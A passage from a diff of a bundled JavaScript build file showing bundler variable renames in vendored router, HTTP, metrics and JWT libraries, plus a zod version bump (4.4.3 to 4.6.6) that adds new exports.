(node.isLeafNode || options.commonPrefix !== false) { + function buildObjectTree(node2, tree, prefix, options) { + if (node2.isLeafNode || options.commonPrefix !== false) { prefix = prefix || "(empty root node)"; tree = tree[prefix] = {}; - if (node.isLeafNode) { - tree[treeDataSymbol] = serializeNode(node, prefix, options); + if (node2.isLeafNode) { + tree[treeDataSymbol] = serializeNode(node2, prefix, options); } prefix = ""; } - if (node.staticChildrenNodes) { - for (const child of node.staticChildrenNodes) { + if (node2.staticChildrenNodes) { + for (const child of node2.staticChildrenNodes) { buildObjectTree(child, tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -54049,8 +54049,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54059,8 +54059,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54131,23 +54131,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54196,7 +54196,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54502,26 +54502,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54536,9 +54536,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54587,8 +54587,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54614,14 +54614,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54724,12 +54724,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54745,6 +54746,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54760,12 +54764,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54825,14 +54831,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54850,6 +54860,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54859,7 +54870,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54886,6 +54899,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54906,6 +54920,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54916,6 +54931,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54945,6 +54961,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54962,12 +54979,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -54999,6 +55019,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55006,8 +55027,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55021,6 +55044,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55076,10 +55100,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55095,6 +55124,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55116,6 +55146,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55164,6 +55195,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55206,7 +55238,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55219,18 +55256,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + 